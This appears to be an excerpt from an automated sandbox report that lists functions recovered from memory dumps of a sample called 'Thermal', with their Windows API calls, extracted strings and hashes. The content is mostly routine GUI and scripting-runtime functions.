Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 98b8144ed90426c64df1422e5ba51fb74d3deaff55e4d36acc1e0af06434ef00
Instruction ID: 9b82c810e7fc40f0be7e967cdd7086f2afc6ff242a3fb65dc9fb90eb4f17824e
Opcode Fuzzy Hash: 98b8144ed90426c64df1422e5ba51fb74d3deaff55e4d36acc1e0af06434ef00
Instruction Fuzzy Hash: FCA191342143519FCB14EF64C951A6AB3A5BFAA314F108929F8569B3E2DB70EC09CB91

Function 001956C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 001956E1
LoadCursorW.USER32(00000000,00007F8A), ref: 001956EC
LoadCursorW.USER32(00000000,00007F00), ref: 001956F7
LoadCursorW.USER32(00000000,00007F03), ref: 00195702
LoadCursorW.USER32(00000000,00007F8B), ref: 0019570D
LoadCursorW.USER32(00000000,00007F01), ref: 00195718
LoadCursorW.USER32(00000000,00007F81), ref: 00195723
LoadCursorW.USER32(00000000,00007F88), ref: 0019572E
LoadCursorW.USER32(00000000,00007F80), ref: 00195739
LoadCursorW.USER32(00000000,00007F86), ref: 00195744
LoadCursorW.USER32(00000000,00007F83), ref: 0019574F
LoadCursorW.USER32(00000000,00007F85), ref: 0019575A
LoadCursorW.USER32(00000000,00007F82), ref: 00195765
LoadCursorW.USER32(00000000,00007F84), ref: 00195770
LoadCursorW.USER32(00000000,00007F04), ref: 0019577B
LoadCursorW.USER32(00000000,00007F02), ref: 00195786
GetCursorInfo.USER32(?), ref: 00195796
GetLastError.KERNEL32(00000001,00000000), ref: 001957C1

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 83f126d6186a614dcea8a51bba20a254a21858e5b1a21aaf0b25a2c5084952d9
Instruction ID: fcaa09aef89748384576fa73f39b8084401d82fba9050c5452763000a8f15311
Opcode Fuzzy Hash: 83f126d6186a614dcea8a51bba20a254a21858e5b1a21aaf0b25a2c5084952d9
Instruction Fuzzy Hash: B5414170E04319AADF109FBA8C4996EFEB8EF51B50B10452FA509E7290DBB8A5018F51

Function 0017B13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0017B17B
__swprintf.LIBCMT ref: 0017B21C
_wcscmp.LIBCMT ref: 0017B22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0017B284
_wcscmp.LIBCMT ref: 0017B2C0
GetClassNameW.USER32(?,?,00000400), ref: 0017B2F7
GetDlgCtrlID.USER32(?), ref: 0017B349
GetWindowRect.USER32(?,?), ref: 0017B37F
GetParent.USER32(?), ref: 0017B39D
ScreenToClient.USER32(00000000), ref: 0017B3A4
GetClassNameW.USER32(?,?,00000100), ref: 0017B41E
_wcscmp.LIBCMT ref: 0017B432
GetWindowTextW.USER32(?,?,00000400), ref: 0017B458
_wcscmp.LIBCMT ref: 0017B46C

Part of subcall function 0014385C: _iswctype.LIBCMT ref: 00143864

Strings

%s%u, xrefs: 0017B216

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 55c7f2931a668624a79ab4c7d8aafc6df3b4ce85baf0d435d3fae7715c62065c
Instruction ID: a62b08d2c5f8c613ca469873d38a8f96ee4cff1fe5e4fb84abd4ee999530313a
Opcode Fuzzy Hash: 55c7f2931a668624a79ab4c7d8aafc6df3b4ce85baf0d435d3fae7715c62065c
Instruction Fuzzy Hash: 4BA1C071208206ABDB15DF64C8C4BAAB7F8FF58354F108619F99EC2191DB30EA95CB91

Function 0017BA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0017BAB1
_wcscmp.LIBCMT ref: 0017BAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 0017BAEA
CharUpperBuffW.USER32(?,00000000), ref: 0017BB07
_wcscmp.LIBCMT ref: 0017BB25
_wcsstr.LIBCMT ref: 0017BB36
GetClassNameW.USER32(00000018,?,00000400), ref: 0017BB6E
_wcscmp.LIBCMT ref: 0017BB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 0017BBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 0017BBEE
_wcscmp.LIBCMT ref: 0017BBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 0017BC26
GetWindowRect.USER32(00000004,?), ref: 0017BC8F

Strings

ThumbnailClass, xrefs: 0017BB79, 0017BBF9
@, xrefs: 0017BA92

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 8004c8aeaa4d3e897912a561062395c07851515bdcb2cdb78667dde161973e73
Instruction ID: fafa85de8033fdd175d23540e2359b226e45afb50b647ce4b2d718490ba1ffa8
Opcode Fuzzy Hash: 8004c8aeaa4d3e897912a561062395c07851515bdcb2cdb78667dde161973e73
Instruction Fuzzy Hash: 78819D710082099BDB15DF14C8C5FAA7BE8FF54314F14C56AFD898A0A6EB34EE45CBA1

Function 0017B8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0017B915

Strings

ACTIVE, xrefs: 0017B8F0
[LAST, xrefs: 0017B9C2
LAST, xrefs: 0017B8DA
ALL, xrefs: 0017B9A9
CLASSNAME=, xrefs: 0017B952
[ALL, xrefs: 0017B9BB
[REGEXPTITLE:, xrefs: 0017B93D
REGEXP=, xrefs: 0017B92A
HANDLE=, xrefs: 0017B90E
[CLASS:, xrefs: 0017B965
[HANDLE:, xrefs: 0017B921
[ACTIVE, xrefs: 0017B902

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: f5d823bf1200000bec1e914382d7fc94f4c3291f242f75501aeb36c6a2de9dfa
Instruction ID: 7faa284fe9dee0a90223ae706f98e372c740b359f468e1bb8af045190fc7cc6f
Opcode Fuzzy Hash: f5d823bf1200000bec1e914382d7fc94f4c3291f242f75501aeb36c6a2de9dfa
Instruction Fuzzy Hash: 2331E1B1A48205F6CB04EB60CD83FEE73B4AF30754FA04126F665B11E2EF56AE04C652

Function 0017CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 0017CBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0017CBBC
SetWindowTextW.USER32(?,?), ref: 0017CBD3
GetDlgItem.USER32(?,000003EA), ref: 0017CBE8
SetWindowTextW.USER32(00000000,?), ref: 0017CBEE
GetDlgItem.USER32(?,000003E9), ref: 0017CBFE
SetWindowTextW.USER32(00000000,?), ref: 0017CC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0017CC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0017CC3F
GetWindowRect.USER32(?,?), ref: 0017CC48
SetWindowTextW.USER32(?,?), ref: 0017CCB3
GetDesktopWindow.USER32 ref: 0017CCB9
GetWindowRect.USER32(00000000), ref: 0017CCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0017CD0C
GetClientRect.USER32(?,?), ref: 0017CD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0017CD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0017CD69

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: d2e94fa3b618c346ceef9aab871f3e8c9d026c1b1345159554de6bcf5d639d6b
Instruction ID: a3c135d8af3074920e5a945ff1cfbb62b7922b075b7886e809e3398969dabf93
Opcode Fuzzy Hash: d2e94fa3b618c346ceef9aab871f3e8c9d026c1b1345159554de6bcf5d639d6b
Instruction Fuzzy Hash: 82515E70900709AFDB219FA8CE85B6FBBF5FF08705F00461CE58AA29A0D774A954CB50

Function 001AA7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001AA87E
DestroyWindow.USER32(00000000,?), ref: 001AA8F8

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 001AA972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 001AA994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001AA9A7
DestroyWindow.USER32(00000000), ref: 001AA9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00120000,00000000), ref: 001AAA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001AAA19
GetDesktopWindow.USER32 ref: 001AAA32
GetWindowRect.USER32(00000000), ref: 001AAA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 001AAA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 001AAA69

Part of subcall function 001229AB: GetWindowLongW.USER32(?,000000EB), ref: 001229BC

Strings

tooltips_class32, xrefs: 001AA96B, 001AA9F9
0, xrefs: 001AA894

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 7e85a764f88f9191467617697a91a33636379dc27e2bbc16ed91b13e833524fb
Instruction ID: 40b22832c3f9a5cdca43e386ec4192029a4fbd43ce559f2a7b06caa400c911ac
Opcode Fuzzy Hash: 7e85a764f88f9191467617697a91a33636379dc27e2bbc16ed91b13e833524fb
Instruction Fuzzy Hash: 80719A75240240AFE722CF28CC48FAB7BE5FB8A304F44061DF986872A1D770E956CB52

Function 001ACCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

DragQueryPoint.SHELL32(?,?), ref: 001ACCCF

Part of subcall function 001AB1A9: ClientToScreen.USER32(?,?), ref: 001AB1D2
Part of subcall function 001AB1A9: GetWindowRect.USER32(?,?), ref: 001AB248
Part of subcall function 001AB1A9: PtInRect.USER32(?,?,001AC6BC), ref: 001AB258

SendMessageW.USER32(?,000000B0,?,?), ref: 001ACD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 001ACD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 001ACD66
_wcscat.LIBCMT ref: 001ACD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 001ACDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 001ACDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 001ACDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 001ACDFF
DragFinish.SHELL32(?), ref: 001ACE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 001ACEF9

Strings

@GUI_DROPID, xrefs: 001ACE26
@GUI_DRAGID, xrefs: 001ACE71
@GUI_DRAGFILE, xrefs: 001ACEA8

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 5385d0229b033a03b428245345ad7a128898575fddf9b8e191d853f76b828fed
Instruction ID: 260263208efa06a64d48c824bc41995dd2f27c950a85531b70fbf1e896464667
Opcode Fuzzy Hash: 5385d0229b033a03b428245345ad7a128898575fddf9b8e191d853f76b828fed
Instruction Fuzzy Hash: DA618C71108301AFC711EFA0DC85D9FBBE8EF99750F000A2EF595932A1DB709A49CB92

Function 001882D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 0018831A
VariantCopy.OLEAUT32(00000000,?), ref: 00188323
VariantClear.OLEAUT32(00000000), ref: 0018832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 0018841D
__swprintf.LIBCMT ref: 0018844D
VarR8FromDec.OLEAUT32(?,?), ref: 00188479
VariantInit.OLEAUT32(?), ref: 0018852A
SysFreeString.OLEAUT32(?), ref: 001885BE
VariantClear.OLEAUT32(?), ref: 00188618
VariantClear.OLEAUT32(?), ref: 00188627
VariantInit.OLEAUT32(00000000), ref: 00188665

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00188447
Default, xrefs: 001884DA

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 364d2de7d2b6b86ba2dc518df9aeacb8660934b586ec79b2698aa8fcb692dab4
Instruction ID: 2a58afbb83036ca02c6d86dff3372b4d3c531ea0446f3edf0995bdae2af08f7f
Opcode Fuzzy Hash: 364d2de7d2b6b86ba2dc518df9aeacb8660934b586ec79b2698aa8fcb692dab4
Instruction Fuzzy Hash: 71D10131604615EBDB24BFA9C884B6EB7B4FF18B00F658555E805AB290DF30EE40DFA0

Function 001A49CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 001A4A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 001A4AAC

Strings

UNCHECK, xrefs: 001A4C88
GETITEMCOUNT, xrefs: 001A4B8E
GETTEXT, xrefs: 001A4BFF
SELECT, xrefs: 001A4C5D
GETSELECTED, xrefs: 001A4BBC
EXISTS, xrefs: 001A4B15
CHECK, xrefs: 001A4ACC
ISCHECKED, xrefs: 001A4C2F
GETTOTALCOUNT, xrefs: 001A4A93
COLLAPSE, xrefs: 001A4AF2
EXPAND, xrefs: 001A4B5E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 697c42c305d003569a81baf64a7dd5033ae90d01cd1f15b14b1e62e6ee4c97fa
Instruction ID: dd987ae9bc8ef64d5d2721099816884645db8f326bc1eea1d1f4c878a9e8450c
Opcode Fuzzy Hash: 697c42c305d003569a81baf64a7dd5033ae90d01cd1f15b14b1e62e6ee4c97fa
Instruction Fuzzy Hash: 9791B0342047119FCB05EF60C451A6EB7A1BFE9354F10885DF89A5B3A2CB71ED5ACB82

Function 0018E25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0018E31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 0018E32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0018E33B
__wsplitpath.LIBCMT ref: 0018E399
_wcscat.LIBCMT ref: 0018E3B1
_wcscat.LIBCMT ref: 0018E3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0018E3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 0018E3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 0018E41E
SetCurrentDirectoryW.KERNEL32(?), ref: 0018E43F
_wcscpy.LIBCMT ref: 0018E44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0018E48A

Strings

*.*, xrefs: 0018E445

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: eb22aa2132a99f1f07d9d5f881ead84f34c2079b409acc1ca5bc42d0cb4ac8f4
Instruction ID: 759fdf1cdf57d65040d77a6d69ad8a4fa6d285053542e2ee9002e4b4e3e692da
Opcode Fuzzy Hash: eb22aa2132a99f1f07d9d5f881ead84f34c2079b409acc1ca5bc42d0cb4ac8f4
Instruction Fuzzy Hash: 156157725046159FC710EF60D884A9EB3E9FF99310F04891EF989C7251EB35EA49CF92

Function 0018A27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0018A2C2

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0018A2E3
__swprintf.LIBCMT ref: 0018A33C
__swprintf.LIBCMT ref: 0018A355
_wprintf.LIBCMT ref: 0018A3FC
_wprintf.LIBCMT ref: 0018A41A

Strings

Line %d (File "%s"):, xrefs: 0018A336, 0018A34F
"%s" (%d) : ==> %s:, xrefs: 0018A415
Incorrect parameters to object property !, xrefs: 0018A39E
Error: , xrefs: 0018A3C4
"%s" (%d) : ==> %s:%s%s, xrefs: 0018A3F7
^ ERROR , xrefs: 0018A391

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 73a3f056db6b288f67b833d30343a532c5b3a65a0af5079f4da401ce61fb36ef
Instruction ID: d4fef7fcbbab72af28739ac8920f3795f233ff2fdfec6f9c9a8847cb42c1a600
Opcode Fuzzy Hash: 73a3f056db6b288f67b833d30343a532c5b3a65a0af5079f4da401ce61fb36ef
Instruction Fuzzy Hash: EF519D71900109BADF15EBE0CD86EEEB779AF28340F500166F505B21A2EB752F58DB61

Function 00180065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,0016F8B8,00000001,0000138C,00000001,00000000,00000001,?,00193FF9,00000000), ref: 0018009A
LoadStringW.USER32(00000000,?,0016F8B8,00000001), ref: 001800A3

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

GetModuleHandleW.KERNEL32(00000000,001E7310,?,00000FFF,?,?,0016F8B8,00000001,0000138C,00000001,00000000,00000001,?,00193FF9,00000000,00000001), ref: 001800C5
LoadStringW.USER32(00000000,?,0016F8B8,00000001), ref: 001800C8
__swprintf.LIBCMT ref: 00180118
__swprintf.LIBCMT ref: 00180129
_wprintf.LIBCMT ref: 001801D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 001801E9

Strings

Line %d (File "%s"):, xrefs: 00180112
Line %d:, xrefs: 00180123
^ ERROR, xrefs: 0018017E
Error: , xrefs: 001801A0
%s (%d) : ==> %s: %s %s, xrefs: 001801CD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 6987ed7ae304fb3bd5763c1adfff3b78dbb420d22188f4526bbca7603179ab8f
Instruction ID: 4c26d2d4c2541a1bb990633ca2ec230244caa82289cc53b63b37e4a044778e2f
Opcode Fuzzy Hash: 6987ed7ae304fb3bd5763c1adfff3b78dbb420d22188f4526bbca7603179ab8f
Instruction Fuzzy Hash: 9641057280021DBACF15FBE0CD96EEEB779AF28341F500165F505A2092EB756F49CBA1

Function 0018A995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

CharLowerBuffW.USER32(?,?), ref: 0018AA0E
GetDriveTypeW.KERNEL32 ref: 0018AA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0018AAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0018AADA
